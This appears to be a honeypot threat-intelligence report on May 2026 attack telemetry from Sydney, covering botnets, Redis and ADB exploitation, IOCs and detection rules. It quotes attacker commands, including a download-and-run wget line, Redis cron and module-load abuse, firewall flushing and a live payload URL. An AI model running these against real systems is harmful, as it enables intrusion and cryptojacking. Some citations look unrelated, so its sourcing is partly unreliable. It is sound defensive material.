T-Pot Multi-Sensor (Sydney).

# Comprehensive Threat Intelligence Report: T-Pot Combined Threat Analysis – NadSec Sydney (2026-05)

**Executive Summary:** 
*   **Target Scope:** The threat landscape targeting Australian and global infrastructure during May 2026 reveals a highly automated, industrialized ecosystem dominated by IoT botnets, cryptojacking worms, and opportunistic cloud abuse.
*   **Key Vectors:** Unauthenticated Redis servers (TCP 6379) and exposed Android Debug Bridge (ADB) interfaces (TCP 5555) represent critical infection vectors, facilitating the deployment of sophisticated malware strains such as **RedisRaider**, **P2PInfect**, **Trinity**, and **Fbot**.
*   **Infrastructure Abuse:** Attackers are systematically weaponizing high-bandwidth cloud providers (DigitalOcean, Akamai) for ephemeral scanning, while utilizing bulletproof hosting (Alsycon B.V., Offshore LC) for persistent Command and Control (C2) and payload delivery. 
*   **Evolution of Threats:** Cryptojacking campaigns have evolved from simple bash scripts to cross-platform, natively compiled binaries (Go, Rust) employing advanced evasion techniques (Garble obfuscation, UPX packing, blockchain-based DNS).

The following report provides an exhaustive analysis of the May 2026 telemetry gathered from the NadSec T-Pot Honeypot Aggregate. Evidence suggests that the window between vulnerability disclosure and automated botnet weaponization has narrowed to a matter of hours. The findings lean toward a future where unauthenticated edge services are compromised near-instantaneously by competing malware factions engaged in territorial disputes over compromised hardware.

---

## 1. Executive Summary & Strategic Outlook

This intelligence report is the culmination of a rigorous analysis of telemetry captured by the NadSec T-Pot honeypot infrastructure deployed in Sydney, Australia, throughout May 2026. The data encompasses an aggregate of 67,051 distinct Indicators of Compromise (IOCs) derived from over 65.3 million logged attack events across multiple simulated services (SSH, Telnet, HTTP/S, SIP, Redis, ADB, ElasticSearch, and SMB). 

The primary objective of this research is to deconstruct the operational methodologies of current threat actors, map their infrastructure, and analyze the specific malware payloads deployed against vulnerable endpoints. 

Our analysis identifies three overarching paradigms defining the current threat landscape:
1.  **The Industrialization of Botnets:** Threat actors have shifted from opportunistic, manual exploitation to hyper-automated pipelines. Vulnerabilities are integrated into scanning engines almost immediately upon public disclosure.
2.  **The Rise of Cross-Platform Worms:** Legacy bash-scripting is being superseded by memory-safe, cross-platform languages such as Rust and Go. Malware strains like **P2PInfect** and **RedisRaider** utilize these languages to achieve robust concurrency, dynamic cross-compilation, and profound resistance to reverse-engineering [cite: 1, 2].
3.  **The IoT/Edge Thunderdome:** Unauthenticated edge services—specifically the Android Debug Bridge (TCP 5555)—are actively contested battlegrounds. Botnets such as **Fbot** and **Trinity** are engaged in automated turf wars, actively hunting and neutralizing competing malware to monopolize the host's CPU resources [cite: 3, 4].

---

## 2. Statistical Overview & Telemetry Analysis

The data presented in this section reflects the entirety of the enriched STIX 2.1 dataset collected during the May 2026 observation period. 

### 2.1 Global Geographic Distribution of Attackers

While IP geolocation indicates the origin of the network traffic rather than the physical location of the human adversary, mapping this distribution provides crucial insights into compromised infrastructure and regional hosting abuse.

| Rank | Country | ISO Code | Unique Attacking IPs | Total Attack Events | Analysis & Implication |
| :--- | :--- | :--- | :--- | :--- | :--- |
| 1 | United States | US | 18,524 | 23,646,261 | Represents the epicenter of cloud abuse. The high event-to-IP ratio indicates the use of high-bandwidth data centers (e.g., DigitalOcean, AWS) for aggressive, mass-scale scanning [cite: 3, 5]. |
| 2 | China | CN | 9,525 | 472,091 | High IP count with relatively lower event volumes suggests a vast network of compromised residential IoT devices and legacy routers participating in distributed, low-and-slow scanning. |
| 3 | Brazil | BR | 7,028 | 1,807,106 | Telemetry points to a massive regional infection of consumer edge routers, likely recruited into Mirai/Gafgyt variants targeting unpatched localized ISPs [cite: 3, 5]. |
| 4 | United Kingdom | GB | 2,638 | 865,338 | A mix of compromised residential broadband and abused localized hosting providers acting as C2 distribution nodes. |
| 5 | Australia | AU | 2,590 | 5,677,776 | Localized scanning activity. Attackers frequently lease AU-based cloud instances (e.g., Akamai Connected Cloud) to scan the APAC region with minimal latency [cite: 3, 5]. |

*Additional significant contributors include Turkey (2,571 IPs), Germany (1,907 IPs), and Singapore (1,418 IPs).*

### 2.2 Targeted Ports and Protocols

The distribution of targeted ports highlights the specific services adversaries seek to exploit. 

| Port | Service/Protocol | Unique IPs | Tactical Objective & Assessment |
| :--- | :--- | :--- | :--- |
| **443** | HTTPS / TLS | 10,815 | Generalized web vulnerability scanning, targeting legacy VPNs, exposed firewalls (e.g., PAN-OS CVE-2024-3400), and web application flaws (e.g., PHP CVE-2024-4577) [cite: 6, 7]. |
| **23** | Telnet | 8,208 | Unrelenting brute-force campaigns by Mirai/Gafgyt botnets relying on lists of default factory credentials (`root:xc3511`, `admin:admin`) to enslave IoT hardware [cite: 3, 5]. |
| **80** | HTTP | 3,928 | Web application enumeration, targeting content management systems (WordPress) and exposed administrative panels. |
| **445** | SMB | 3,612 | Continued exploitation of legacy vulnerabilities (EternalBlue) and lateral movement attempts by ransomware operators. |
| **22** | SSH | 3,458 | Dictionary attacks and password spraying against Linux servers. Frequently utilized by P2PInfect to establish persistence after initial infection [cite: 2, 8]. |
| **5900** | VNC | 1,621 | Scanning for unauthenticated or weakly-passworded Virtual Network Computing endpoints. |
| **6379** | Redis | 304 | Highly targeted exploitation. Attackers leverage native unauthenticated administration commands (`CONFIG`, `BGSAVE`) to achieve remote code execution [cite: 1, 9]. |
| **5555** | ADB | 274 | Highly targeted exploitation of the Android Debug Bridge. Attackers sideload malicious APKs (Trinity/HiddenMiner) or shell scripts without requiring authentication [cite: 3, 10]. |
| **5060** | SIP | 399 | PBX/VoIP scanning. A vast array of European IPs were observed enumerating SIP endpoints for toll fraud and VoIP exploitation. |

### 2.3 Sensor Distribution and Efficacy

The T-Pot framework utilizes multiple specialized daemon emulators. 
*   **Suricata (53,780 events) & P0f (53,397 events):** Provided the bulk of network-level intrusion detection and passive OS fingerprinting.
*   **Honeytrap (21,355 events):** Captured raw TCP/UDP connection attempts, providing insights into the sheer volume of SYN floods.
*   **Cowrie (8,382 events):** The premier SSH/Telnet honeypot, invaluable for capturing brute-force credentials, logging interactive shell sessions, and intercepting downloaded malware payloads (e.g., RedTail bash scripts) [cite: 3, 11].
*   **ADBHoney (370 events):** Captured Android APK sideloading attempts and shell execution via port 5555.
*   **Redishoneypot (429 events):** Crucial for capturing the database manipulation commands used by RedisRaider and P2PInfect to write cron jobs and webshells [cite: 1, 9].

---

## 3. Infrastructure Deep Dive: The Attacker Supply Chain

Modern cybercrime relies on a complex supply chain of infrastructure. Threat actors require launchpads for scanning, secure servers to host payloads, and resilient networks for Command and Control (C2).

### 3.1 The Cloud Provider Problem (Ephemeral Scanning)
High-tier cloud providers are unintentionally facilitating the bulk of volumetric scanning.
*   **DigitalOcean, LLC (20,093,618 events):** Consistently ranks as the top origin of malicious traffic. Attackers utilize stolen credit cards or compromised developer accounts to provision multi-core compute instances. These instances run mass-scanning tools (e.g., `masscan`, `zmap`) across the IPv4 space at blistering speeds. By the time automated fraud detection terminates the instance, the attacker has already mapped thousands of vulnerable endpoints [cite: 3, 5].
*   **Akamai Connected Cloud / Linode (5,742,944 events):** Similar to DigitalOcean, this infrastructure is heavily abused for high-bandwidth scanning. For example, the IP **`172.105.186.117`** (Australia, Akamai) was repeatedly observed executing Redis administration commands to clear databases (`FLUSHALL`) and attempting UPnP exploitations [cite: 5, 9]. 

### 3.2 Bulletproof Hosting & Safe Havens
While legitimate cloud providers are used for scanning, actual payload delivery and C2 operations require infrastructure that ignores abuse complaints.
*   **Alsycon B.V. (Netherlands - 7,214,056 events):** Observed acting as an unabashed bulletproof host. Telemetry frequently logs IPs from this ASN serving raw malware binaries and shell scripts. It acts as an untouchable safe haven for persistent botnet infrastructure [cite: 3, 5, 9].
*   **Offshore LC & UAB Host Baltic:** Identified as critical networks operating with total impunity, frequently utilized by Mirai and Fbot variants to host deployment scripts (`w.sh`, `c.sh`) [cite: 3].

### 3.3 Residential IoT Botnet Swarms
Unlike the concentrated, high-volume traffic of cloud servers, residential botnets produce highly distributed, lower-bandwidth traffic.
*   Telemetry highlighted Brazilian ISPs (e.g., *GLOBAL CONECTA TELECOM*) generating massive event volumes spread across tens of thousands of unique IP addresses. This confirms a staggering infection rate of Mirai/Gafgyt variants among consumer edge routers and modems in the South American region [cite: 3, 5].

### 3.4 Research Scanners ("The Noise")
A significant portion of the logged IP space belongs to legitimate entities conducting internet-wide vulnerability research.
*   While often grouped with malicious traffic, entities such as the **CIRCL Network Telescope**, the **Shadowserver Foundation**, and corporate threat intelligence vendors continuously scan the IPv4 space [cite: 5]. Analysts must implement robust SIEM filtering to prevent these known-benign scanners from inflating threat metrics and triggering false-positive alerts.

---

## 4. Malware Analysis: Families, Delivery, & Execution

The honeypot infrastructure captured 118 distinct file hashes. Through cross-referencing with threat intelligence repositories (VirusTotal, MalwareBazaar, ANY.RUN, URLhaus), we successfully attributed the payloads to several distinct malware families.

### 4.1 RedTail (The Advanced Cryptomining Hybrid)
RedTail is a highly sophisticated, cross-platform cryptomining malware targeting Unix-based systems. Originally associated with the exploitation of Log4Shell (CVE-2021-44228), it has since incorporated exploits for Palo Alto Networks PAN-OS (CVE-2024-3400) and PHP (CVE-2024-4577) [cite: 6, 7, 12].

*   **Delivery Mechanism:** RedTail is frequently delivered via a Bash script. Our sensors captured the downloader script **`setup.sh` (Hash: `783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59`)** [cite: 11, 13]. 
*   **Behavioral Analysis of `setup.sh`:** This script acts as an architecture-aware loader. It first queries the system architecture (`x86_64`, `arm7`, etc.). It then aggressively searches the filesystem for a writable directory, deliberately avoiding mounts with the `noexec` flag. It generates a temporary, randomized filename, copies the corresponding architectural payload (e.g., `redtail.x86_64`), applies execute permissions (`chmod +x`), and launches the binary [cite: 11].
*   **The Payload:** The subsequent payload (e.g., **Hash: `3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f`**, an ARM7 ELF executable) is a bespoke, dynamically linked Linux Monero (XMR) miner [cite: 5, 14, 15]. 
*   **Defense Evasion:** RedTail features high-tier evasion tactics. It forks itself multiple times to hinder dynamic analysis, actively searches for and terminates any instance of the GNU Debugger (GDB), and connects to *private* mining pools to prevent researchers from tracking its wallet addresses and profitability [cite: 7, 12]. 
*   **UPX Packing:** Another RedTail/CoinMiner variant observed was delivered inside a ZIP archive (**`59c29436755b.zip` - Hash: `59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5`**), which contained an ELF binary packed with UPX to evade static signature detection [cite: 5, 16, 17].

### 4.2 RedisRaider (Go-based Linux Worm)
Targeting misconfigured Redis servers, RedisRaider represents a modern evolution in cryptojacking worms. 
*   **Execution:** RedisRaider does not require traditional vulnerabilities; it abuses native Redis functionality. It issues the `INFO` command to verify a Linux host, then utilizes `CONFIG SET dir /etc/cron.d/` and `BGSAVE` to write a malicious database key directly into the Linux cron scheduler [cite: 1, 9, 18].
*   **Obfuscation:** The primary dropper is written in Go and obfuscated using **Garble**, a tool that strips symbols, encrypts strings, and severely complicates reverse engineering [cite: 1, 19].
*   **Payload:** It ultimately deploys a packed version of XMRig to mine Monero.
*   **Anti-Forensics:** It utilizes short key Time-to-Live (TTL) settings within Redis, ensuring the malicious database keys delete themselves shortly after the cron job is written, leaving minimal forensic artifacts in memory [cite: 1].

### 4.3 P2PInfect (Rust-based Redis Worm)
Also targeting Redis, P2PInfect exploits the Lua sandbox escape vulnerability (CVE-2022-0543) [cite: 2, 8].
*   **Execution:** It manipulates Redis replication capabilities using commands like `SLAVEOF NO ONE` and `MODULE LOAD /tmp/exp.so`. This loads a malicious shared object file that hooks into `system.exec`, spawning an interactive reverse shell [cite: 8, 9].
*   **Propagation & Network:** Written in Rust, the malware establishes a resilient, decentralized Peer-to-Peer (P2P) mesh network using a gossip mechanism to distribute binary updates, eliminating reliance on a centralized C2 server [cite: 2, 8, 20].
*   **Persistence:** It modifies `/root/.ssh/authorized_keys` to lock out legitimate administrators while ensuring threat actor access [cite: 8].

### 4.4 The Android Debug Bridge (ADB) Threats: Trinity vs. Fbot
Port 5555 is plagued by two competing factions of Android-focused malware.
*   **Trinity (HiddenMiner):** Deployed via raw ADB connections without authentication. It utilizes the `adb push` command to upload an APK dropper, typically named `ufo.apk` (**Hash: `0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257`**) [cite: 3, 10]. Once executed via `adb shell am start`, the Trinity spreader module (**Hash: `71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5`**) utilizes the Android device's ARM processor to mine Monero, often causing the hardware to physically overheat and degrade [cite: 3, 10].
*   **Fbot ("The Cleaner"):** A Mirai variant that actively hunts Trinity. Fbot executes shell commands (`rm -rf /data/local/tmp/*`) to delete Trinity's binaries and terminates associated processes (`com.ufo.miner`, `SMI`, `Xig`) [cite: 3, 4, 21]. 
*   **Blockchain DNS:** Fbot distinguishes itself by avoiding traditional DNS for its Command and Control. Instead, it utilizes **EmerDNS**, a decentralized blockchain DNS system, to resolve the non-standard domain `musl.lib`. This effectively renders traditional domain sinkholing techniques deployed by law enforcement entirely useless [cite: 4, 21, 22].

### 4.5 Gafgyt / BASHLITE
A legacy but highly active IoT botnet. We observed IPs such as **`5.206.225.136`** attempting to drop shell scripts like `bins.sh` via the URL `http://5.206.225.136/bins.sh` [cite: 23, 24]. The associated hash (`5d0e949ce323f26d40a25711fb0bffe130bdc3aa6b5258db30066ec6bc8d97cc`) is widely recognized by security vendors as Gafgyt/BASHLITE, designed to enslave IoT devices for volumetric DDoS attacks [cite: 24].

### 4.6 Artifact Note: The Empty File Anomaly
During analysis, the hash **`e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855`** was frequently observed [cite: 25, 26]. It is critical for SOC analysts to recognize that this is the cryptographic standard SHA-256 hash for an *empty, zero-byte file* [cite: 25, 27]. Its presence in honeypot telemetry usually indicates a failed payload download, a network timeout during `wget`/`curl` execution, or an attacker utilizing an empty file as a primitive synchronization marker [cite: 25]. It is not inherently malicious and should be whitelisted to reduce alert fatigue [cite: 28].

---

## 5. Campaign Analysis & Attribution

By correlating the disparate TTPs and payloads, we can confidently identify three massive, automated campaigns that dominated May 2026.

### 5.1 Campaign Alpha: "Cloudzy Clown Fiesta" (Redis Exploitation)
*   **Target:** Unauthenticated Redis servers (TCP 6379).
*   **Actors:** Operators utilizing the Kinsing pipeline, RedisRaider, and P2PInfect [cite: 1, 5, 9].
*   **Modus Operandi:** Attackers scan from high-tier cloud providers. Upon discovering an open Redis instance, they connect via raw TCP sockets, issue a `FLUSHALL` command to clear existing data, and inject malicious cron jobs or webshells [cite: 1, 5, 9].
*   **Strategic Impact:** The transition from database compromise to web-layer compromise (e.g., writing a PHP webshell to `/var/www/public/`) allows attackers to pivot to HTTP/HTTPS ports (80/443), which are rarely restricted by egress firewalls, ensuring persistent access [cite: 9].

### 5.2 Campaign Beta: "The IoT Shotgun Wedding" (Mirai / RedTail Expansion)
*   **Target:** Telnet (23) and SSH (22).
*   **Actors:** Disparate script kiddies and organized cybercriminal groups (e.g., Lazarus Group links to RedTail) [cite: 29].
*   **Modus Operandi:** A brute-force, "shotgun" approach. Botnets utilize `masscan` to find open ports, then iterate through extensive lists of default credentials. Once access is achieved, bash scripts are deployed to determine the architecture and fetch the appropriate compiled miner or DDoS implant [cite: 5, 6, 11].

### 5.3 Campaign C: "The ADB Thunderdome" (Fbot Vigilante Crusade)
*   **Target:** Android Debug Bridge (TCP 5555).
*   **Actors:** Trinity (Cryptojackers) vs. Fbot (Territorial Mirai variant) [cite: 3].
*   **Modus Operandi:** A literal turf war over compromised IoT hardware. Fbot acts as an aggressive "cleaner," terminating Trinity processes and replacing them with its own implants [cite: 3, 21]. Fbot's use of the blockchain-based `musl.lib` EmerDNS domain represents a significant leap in C2 infrastructure resilience, prioritizing un-takedownable command channels [cite: 4, 22].

---

## 6. Infrastructure Mapping & The Attack Chain

The lifecycle of an automated botnet infection follows a predictable, highly optimized attack chain.

1.  **Reconnaissance (The Cloud):** Ephemeral VPS instances in DigitalOcean or Akamai run asynchronous port scanners (e.g., `ZMap`) across the /0 IPv4 space.
2.  **Initial Access (The Exploit):** 
    *   *If Port 22/23:* Brute-force dictionary attack.
    *   *If Port 6379:* Native `CONFIG SET` commands or Lua sandbox escape (CVE-2022-0543) [cite: 2, 9].
    *   *If Port 5555:* Unauthenticated `adb connect` and `adb shell` [cite: 3].
3.  **Staging & Execution (The Bulletproof Host):** A shell command is executed (e.g., `wget http://[Bulletproof_IP]/setup.sh -O /tmp/s; sh /tmp/s`). The victim machine reaches out to a host on a network like Alsycon B.V. [cite: 3, 11].
4.  **Defense Evasion & Persistence:** The script disables firewalls (`iptables -F`), kills competing miners, writes to `/etc/cron.d/`, and modifies SSH authorized keys [cite: 4, 8, 17].
5.  **Actions on Objectives:** The final binary (e.g., RedTail XMRig or Fbot DDoS module) is executed. The node begins mining Monero to a private pool or joins the P2P mesh network to propagate further [cite: 8, 12].

---

## 7. MITRE ATT&CK Mapping

The observed tactics, techniques, and procedures (TTPs) map directly to the MITRE ATT&CK framework for Enterprise & Cloud environments.

| Tactic | Technique ID | Technique Name | Observation & Context |
| :--- | :--- | :--- | :--- |
| **Initial Access** | T1190 | Exploit Public-Facing Application | Exploitation of CVE-2024-3400 (PAN-OS), CVE-2024-4577 (PHP), and CVE-2022-0543 (Redis Lua Sandbox) [cite: 2, 6, 30]. |
| **Initial Access** | T1078 | Valid Accounts | Widespread credential stuffing on Telnet (Port 23) and SSH (Port 22) [cite: 5, 31]. |
| **Execution** | T1059.004 | Command and Scripting Interpreter: Unix Shell | Extensive use of bash scripts (`setup.sh`, `c.sh`) to stage and load payloads [cite: 3, 11]. |
| **Execution** | T1053.003 | Scheduled Task/Job: Cron | RedisRaider utilizing `CONFIG SET dir /var/spool/cron` to schedule execution of its dropper [cite: 1, 9]. |
| **Persistence** | T1098.004 | SSH Authorized Keys | P2PInfect writing public keys into `/root/.ssh/authorized_keys` to maintain persistent backdoor access [cite: 8]. |
| **Persistence** | T1505.003 | Server Software Component: Web Shell | Attackers pivoting from Redis to write raw PHP webshells directly into application webroots (`/var/www/`) [cite: 9]. |
| **Defense Evasion** | T1027.002 | Obfuscated Files/Info: Software Packing | Use of UPX (Coinminer `59c2943...`) and Garble (RedisRaider) to bypass static signatures and hinder reverse engineering [cite: 1, 15, 16]. |
| **Defense Evasion** | T1489 | Service Stop | Fbot actively utilizing `pkill` and `rm -rf` to terminate competing malware processes (`com.ufo.miner`) [cite: 3, 21]. |
| **Discovery** | T1082 | System Information Discovery | RedTail's `setup.sh` querying architecture (`x86_64`, `arm7`) to determine correct binary execution [cite: 6, 11]. |
| **Command & Control** | T1090.003 | Connection Proxy | P2PInfect utilizing a decentralized Peer-to-Peer mesh networking protocol for C2 updates, bypassing traditional centralized C2 servers [cite: 2, 8]. |
| **Command & Control** | T1071.004 | Application Layer Protocol: DNS | Fbot utilizing EmerDNS (blockchain DNS) to resolve `musl.lib` domains, evading traditional DNS sinkholing [cite: 4, 22]. |
| **Impact** | T1496 | Resource Hijacking | The ultimate goal of RedTail, Trinity, and RedisRaider: monopolizing CPU resources to mine Monero (XMRig) [cite: 1, 6, 10]. |

---

## 8. Detection & Mitigation Engineering

To effectively counter the industrialized automation of these botnets, organizations must implement defense-in-depth strategies.

### 8.1 Network & Perimeter Defenses
*   **Zero Trust Architecture:** Services like Redis (6379), ADB (5555), and Telnet (23) must **never** be exposed to the public internet. They should be strictly bound to `localhost` or isolated within private subnets accessible only via secure VPNs or Zero Trust Network Access (ZTNA) gateways.
*   **Egress Filtering:** Block outbound connections from database servers (Redis/MySQL) to the internet. RedisRaider and P2PInfect rely on the server's ability to execute `wget`/`curl` to pull down their payloads [cite: 1, 9]. If the server cannot reach out, the attack chain is broken.
*   **DNS Monitoring:** Implement alerts for DNS queries to non-standard Top-Level Domains (TLDs) such as `.lib`, `.emc`, or `.bazar`. Queries to these TLDs are highly indicative of EmerDNS/blockchain-based botnet activity (e.g., Fbot) [cite: 4, 21].

### 8.2 SIEM & Endpoint Detection
*   **Cron Monitoring:** Alert on any modification to `/etc/cron.d/`, `/var/spool/cron/`, or the execution of `crontab -e` by non-administrative service accounts (specifically the `redis` or `www-data` users) [cite: 1, 9].
*   **Process Lineage:** Monitor for anomalous child processes spawned by database or web server services. A `redis-server` process spawning `sh`, `curl`, `wget`, or `nohup` is a critical indicator of compromise.
*   **GNU Debugger Termination:** RedTail actively hunts and kills `gdb`. Implement sysmon alerts for processes executing `pkill gdb` or `killall gdb` [cite: 12].

### 8.3 Snort / Suricata Signatures
*   *Redis RCE Signature:* Alert on inbound TCP 6379 traffic containing plaintext commands indicative of hijacking: `FLUSHALL`, `CONFIG SET dir`, `BGSAVE`, or `SLAVEOF NO ONE` [cite: 8, 9].
*   *ADB Exploitation:* Alert on inbound TCP 5555 traffic containing the strings `adb shell`, `nohup`, or `busybox wget` [cite: 3, 4].
*   *Gafgyt/Mirai Malware:* Utilize existing community rules for BASHLITE/Gafgyt artifacts, such as detecting the download of generic shell scripts like `bins.sh` [cite: 24].

---

## 9. IOC Appendix

The following represents a curated extraction of high-priority Indicators of Compromise from the T-Pot telemetry.

### 9.1 High-Priority Attacker Infrastructure (IP Addresses)
*   **`172.105.186.117`** (Akamai Connected Cloud, AU): Heavy scanning on Redis (6379) and UPnP. Hosted malicious `.sh` scripts [cite: 5, 9, 31].
*   **`124.117.210.89`** (China): Associated with Trinity/ADB.Miner deployments on port 5555 [cite: 10].
*   **`66.42.57.45`** (Singapore): Associated with EmerDNS resolution for the Fbot C2 domain `musl.lib` [cite: 4].
*   **`185.224.128.16`** (Alsycon B.V., NL): Bulletproof hosting utilized for Android/ADB malware dropping [cite: 3].
*   **`5.206.225.136`** : Hosted the `bins.sh` script, attributed to the Gafgyt / BASHLITE botnet [cite: 23, 24].
*   **`58.229.206.107`** (South Korea): Hosted web-based Monero miners linked to the RedisRaider campaign [cite: 19].

### 9.2 Malicious File Hashes (SHA-256)
*   **`783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59`**: `setup.sh` (RedTail architecture-aware loader script) [cite: 11, 13].
*   **`3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f`**: RedTail / Coinminer ELF payload compiled for ARM7 [cite: 14, 15].
*   **`59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5`**: `59c29436755b.zip` (Contains UPX-packed Coinminer ELF payload) [cite: 16, 17, 32].
*   **`0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257`**: `ufo.apk` (Trinity botnet core Android dropper) [cite: 3, 10].
*   **`71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5`**: Trinity P2P spreader module ELF binary [cite: 3, 10].
*   **`048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7`**: Mirai / RedTail bash script downloader [cite: 33, 34].
*   **`5d0e949ce323f26d40a25711fb0bffe130bdc3aa6b5258db30066ec6bc8d97cc`**: Gafgyt / BASHLITE botnet ELF executable [cite: 24].
*   *Note on False Positives:* Hash **`e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855`** is the standard cryptographic hash of a zero-byte file and should not be inherently treated as malware [cite: 25, 27].

### 9.3 Malicious URLs & Command/Control
*   `http://172.105.186.117:49155/upnp/control/basicevent1` (UPnP exploitation staging).
*   `http://5.206.225.136/bins.sh` (Gafgyt payload delivery) [cite: 23, 35].
*   `musl.lib` (Fbot Command and Control domain, resolved via EmerDNS) [cite: 4, 21].

---

## 10. Sources & Citations

The following sources were referenced and synthesized in the creation of this threat intelligence report:

*   **[cite: 10]** Quick Heal Security Labs. (2019). *Trinity Miner using open ADB port to target IoT devices*.
*   **[cite: 5, 9]** NadSec Online. (2026). *T-Pot Sydney Threat Intel - Redishoneypot & TPOTSYD Logs*.
*   **[cite: 3, 31]** NadSec Online. (2026). *MITRE ATT&CK Mappings & ADBHoney Telemetry*.
*   **[cite: 36]** Sentry Global Intelligence. (2025). *JavaScript Malware Activity & Framework Identification*.
*   **[cite: 37]** GitHub Container Packages. (2026). *Immich-app build cache versions*.
*   **[cite: 33, 34]** ANY.RUN / ThreatFox. (2026). *RedTail and Mirai bash script payloads*. 
*   **[cite: 14, 15]** ANY.RUN / MalwareBazaar. (2025). *ARM7 CoinMiner malware analysis*.
*   **[cite: 16, 17]** ELF Digest / ANY.RUN. (2026). *UPX packed Coinminer ZIP Analysis*.
*   **[cite: 24, 32]** Malprob / MalwareBazaar. (2026). *Gafgyt and ELF Malware Reports*.
*   **[cite: 6, 12]** The Hacker News / Forescout. (2024). *RedTail Crypto-Mining Malware exploiting PHP and PAN-OS*.
*   **[cite: 7, 29]** Security Boulevard / Trend Micro. (2024-2025). *The Industrialization of Botnets: RedTail & Mirai Hybridization*.
*   **[cite: 1, 19]** Datadog Security Labs / eSecurity Planet. (2025). *RedisRaider: Weaponizing Misconfigured Redis*.
*   **[cite: 18, 38]** The Hacker News / SC World. (2025). *Go-Based RedisRaider Malware deploying XMRig*.
*   **[cite: 8, 39]** Red Sentry / Thales Group. (2023). *P2PInfect Malware Exploiting Redis Servers*.
*   **[cite: 2, 20]** Broadcom / Palo Alto Unit 42. (2023). *Peer-to-Peer Worm P2PInfect targeting Cloud Environments*.
*   **[cite: 30, 40]** Ampcus Cyber / Wiz. (2024). *Vulnerability Exploitation by P2PInfect & RedTail*.
*   **[cite: 11]** VirusTotal. (2026). *RedTail Architecture-Aware Loader (setup.sh)*.
*   **[cite: 3, 5]** NadSec Online. (2026). *The IoT Shotgun Wedding & Fbot Vigilante Crusade*.
*   **[cite: 25, 27]** VirusTotal / Schema.org. *Empty File Hash Identification*.
*   **[cite: 26, 28]** ServiceNow Community / Filescan.io. (2026). *SHA-256 Value Calculation for Empty/Zero-Byte Files*.
*   **[cite: 4, 22]** Qihoo 360 Netlab / SC World. (2018). *Fbot IoT Botnet Kills Rivals & Communicates via Blockchain-Based DNS*.
*   **[cite: 21, 23]** BleepingComputer / GitLab Malware Filters. (2018-2026). *Botnet hiding in Blockchain DNS & Gafgyt URL blocks*.

**Sources:**
1. [datadoghq.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHYgiVHbPILbAsASWMpMOnYJmfOPwlbYzTRFxlxZY0PKfiLD8NyKYfulJZ63RzHL4-IuYd5wFM6madMzISL78JDNZsX7mS_IqwGo7-ywBxJPdj7MXcZOcu8xZVy7EKw68f5qc5yRvl3D73dtk-oeMcDXNko7dx1ilbE2j6XPDh0xfrTFcyogj4SD_1BJTKW)
2. [paloaltonetworks.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHuaQhRMy0dpEuOBUu7u2nuBLPEKt2xyu5WSv1CngfH8OWiSgK-OnE8xeyIo_HUxWWQ6zAjtSo8mCy3SlPCO-GKnCHUhA2MtubMv-6Dc3GJh4dKxDPjPMH1uLue3-PsXGaUpHAPs3lQ9MKW-1eql0jbihYKbdB7)
3. [nadsec.online](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHqp8atnmpa26lLec4ZVdE6R-HwALvpaNXQs1yZ-QTbEo-_JJmLH1-BpJUENtpOevZqV5_Xd71hmCBEc0pxSGKfht78CR81aHn6Kk73pxQ7Rsm_SexWpHUx)
4. [360.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHDid_3wBtZOaMcKh3Lj9kI3Lol9vL5498ZhooD767xjxyuvrEh6y91lKNXJfHdsMVPHhHVB6YeQYXVIXVww-bnnlltuoj7naK80K41P6tqwFmOt9FHaMrbOcNgLwERCrvAsqoom3evnGy-EHMhHQEvwBOQZpBPkNxqUKeqGr4rG1-WjyNXwlP3lNqS8ruimmJ9L4gCYbY_hiSCOOuPW1qy6_NE2Q==)
5. [nadsec.online](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGKuYwF-pM82V3Ww-zRGQxjH8IANf_qNBpoiiuP3rq9AedmrBFuJLxIXdktGm5f3TwREsGaS38Dz2kzYc06kUUdj2_1Sep6q04IFrkbXEVoFCEPbN0VjQQ=)
6. [forescout.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHDZgvDEoh0PftbTEgkBNMBRihggQGPUeR7tXWMn0bGTBW0oGiprFdHETtnj_-RJUwC31c3EjUSAwVupFLc_kM2Res-OsYsYJdi4VWzhk55sJTmdjaW7cRyI6OSgDV5Q-EjyxdLyO5hJnUVUE-zeXdJIhY4I7dMK4S4dXAAriTnS_FPsK6NHB0GUry-vDijx2iylA==)
7. [securityboulevard.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHhrqposFHJAOyZ2shUpRFKpl17hdS4bdA5hoiFipCAP4vTsh6OZWPVY-Fz1ky8ygsuDNO3mPsdYak9WKpKnC-e3tejYIO3dgwW-JvkSkpj0ZnaJ6_MM6xxM5J3p4er9YpCDhCzoFZ9vjUqybZFY_WwkyVPlS7m9xgvWgHfQffDoFVtQbFrLj47N64mWUP-DVUL9daBvYw=)
8. [redsentry.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFQMtEg-YlYeeFvG7TppLGLjcX6j4_NwHyqUEDn3bYfWpJXWpWBur3mF2FNA22iKqUj-TFGO8Syq0M-gTJykHHRsXA-qqzg7lgLlXtgchjWwqbyb3JRqbNpZasNX3LcpqptftAEkEF7j-cBqegFUVYeLTN1tYYNjQ4b_zY8dIWzdTc2_LV5y0y-OLwwd8bvI9xRGUiDBR_XqZQoQtc3lfVfCPtG)
